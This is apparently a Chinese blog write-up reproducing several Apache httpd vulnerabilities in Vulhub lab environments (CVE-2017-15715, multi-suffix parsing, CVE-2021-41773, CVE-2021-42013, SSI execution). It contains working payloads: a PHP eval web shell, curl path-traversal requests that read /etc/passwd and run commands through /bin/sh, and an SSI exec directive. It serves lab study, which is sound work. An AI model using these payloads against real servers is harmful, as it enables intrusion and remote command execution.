Apache 漏洞复现(vulhub)全

APACHE HTTPD 换行解析漏洞(CVE-2017-15715)

  1. 漏洞详情

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。 其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。1.php\x0A

原因:apache这次解析漏洞的根本原因就是这个 $,正则表达式中,我们都知道$用来匹配字符串结尾位置,我们来看看菜鸟教程中对正则表达符$的解释:

匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r'。要匹配 $ 字符本身,请使用 $。

那么就明白了,在设置了 RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符

  1. 影响版本

Apache  2.4.0~2.4.29

  1. 漏洞复现

image-20250311210347032

抓包观察

ed27c10cdc924fb5a792c5bfab256b47

我们可以看到,是被拦截的

65225f6ab23e6450d624b0b122780c14

我们现在evil.php后面加个空格(0x20),以方便我们区分位置

213c503c84379b9e0bd97d925d94fb25

我们将%20改成%0a 这里%0a是换页符

36d664672974b998afc8156c880054a4

修改完之后我们点击发送

086ade9735c4ce1d69e0289d7da2ace8

可以看到已经上传成功了

我们直接访问后门地址,记得后门地址也是需要加上%0a

image-20250311211427163

image-20250311211604296

image-20250311211642429

APACHE多后缀解析漏洞

  1. 漏洞详情

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。在有多个后缀的情况下,只要一个文件含有后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

  1. 漏洞复现

image-20250311201701721

此漏洞只允许上传gif、png、jpg、jpeg后缀的文件,所以当上传php文件时会报错

后门

<?php @eval($_POST['shell']);?>

上传抓包

b7656f5996a521ca231987fd0bb63f6b

此时我们需要在文件后缀添加允许上传的后缀

8cee2af5b6e9c218734a265e9c82f2b0

58ece16175ae905607787833656ccb3a

文件上传成功访问后门地址

64bd83b5e009edbf53d820c3c876313f

返回空白说明该地址存在后门,使用蚁剑连接

13c470f13c82ff38010896ac9f5ed9da

APACHE HTTP SERVER 2.4.49路径穿越漏洞(CVE-2021-41773)

  1. 漏洞详情

Apache HTTP Server 2.4.49 中的路径规范化所做的更改中发现一个缺陷。攻击者可利用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。

如果这些目录之外的文件不受通常的默认配置“require all denied”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程执行代码。

  1. 影响版本

Apache HTTP Server 2.4.49
  1. 漏洞复现

image-20250312222107234

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

image-20250312223114108

在靶机中访问此文件,确认攻击机成功读取到 passwd

RCE(利用CVE-2021-41773)

curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

image-20250312222854449

APACHE HTTP SERVER 2.4.50 路径穿越漏洞(CVE-2021-42013)

  1. 漏洞详情

CVE-2021-42013 是由 CVE-2021-41773 修复不完整所致的漏洞,攻击者可能使用路径遍历攻击将 URL 映射到类似别名指令配置的目录之外的文件。

  1. 影响版本

Apache HTTP Server 2.4.49 和 2.4.50
  1. 漏洞复现

我们使用CVE-2021-41773中的Payload已经无法成功利用漏洞了,说明2.4.50进行了修复。

但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):

curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
​

image-20250312224549654

可见,成功读取到/etc/passwd

RCE

curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

image-20250312224739827

APACHE SSI 远程命令执行漏洞

  1. 漏洞详情

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。

成因

SSI提供了一种对现有HTML文档增加动态内容的方法,即在html中加入动态内容。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意命令。

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="ls /" -->语法执行任意命令。

  1. 漏洞复现

image-20250312225212730

我们尝试上传一个php文件,可以看到提示不支持的上传的类型

image-20250312225348656

那我们上传一个shell.shtml文件,里面写入以下内容:

<!--#exec cmd="id" -->

image-20250312225524012

image-20250312225621320

可以看到shtml后缀文件上传成功

image-20250312225701824

访问shell.shtml文件,命令执行成功,我们此时也可以写一个反弹shell,这里不在演示

### 使用 Vulhub 进行漏洞复现 #### 下载并安装 Vulhub 为了开始使用 Vulhub,需先将其仓库克隆到本地环境中。这可以通过执行如下命令完成: ```bash git clone https://github.com/vulhub/vulhub.git ``` 该操作将会把整个 Vulhub 项目下载至当前目录下[^1]。 #### 启动特定漏洞环境 Vulhub 提供了多种不同类型的漏洞场景模拟,每种场景都对应着实际存在的软件缺陷或配置错误。对于想要启动某个具体的漏洞实例来说,通常只需要进入相应的文件夹,并利用 Docker Compose 工具来快速部署所需的容器化服务。例如,要设置 ActiveMQ 的测试环境,则应导航到 `vulhub/activemq/CVE-2016-3088` 文件夹内,接着运行下面这条指令: ```bash cd vulhub/activemq/CVE-2016-3088 docker-compose up -d ``` 上述命令会自动拉取必要的镜像资源并在后台启动所有关联的服务进程[^2]。 #### 开展漏洞检测与分析 一旦目标应用成功上线之后,就可以借助各种网络安工具来进行进一步的研究工作了。比如可以采用 Nmap 对网络中的主机和服务进行面扫描;也可以直接打开 Web 浏览器查看应用程序界面,以此了解其基本功能特性以及可能存在的安隐患。针对某些已知的安问题,还可以配合 Burp Suite 等代理服务器截获 HTTP 请求流量,进而尝试构造恶意输入以验证是否存在可被攻击者利用的风险点[^4]。 #### 学习更多理论知识 除了动手实践之外,深入理解背后的技术细节同样重要。因此建议阅读官方文档或其他权威资料,掌握有关于选定案例的具体成因及其修复措施等方面的信息。这样不仅有助于加深记忆效果,而且能够培养解决复杂难题的能力[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值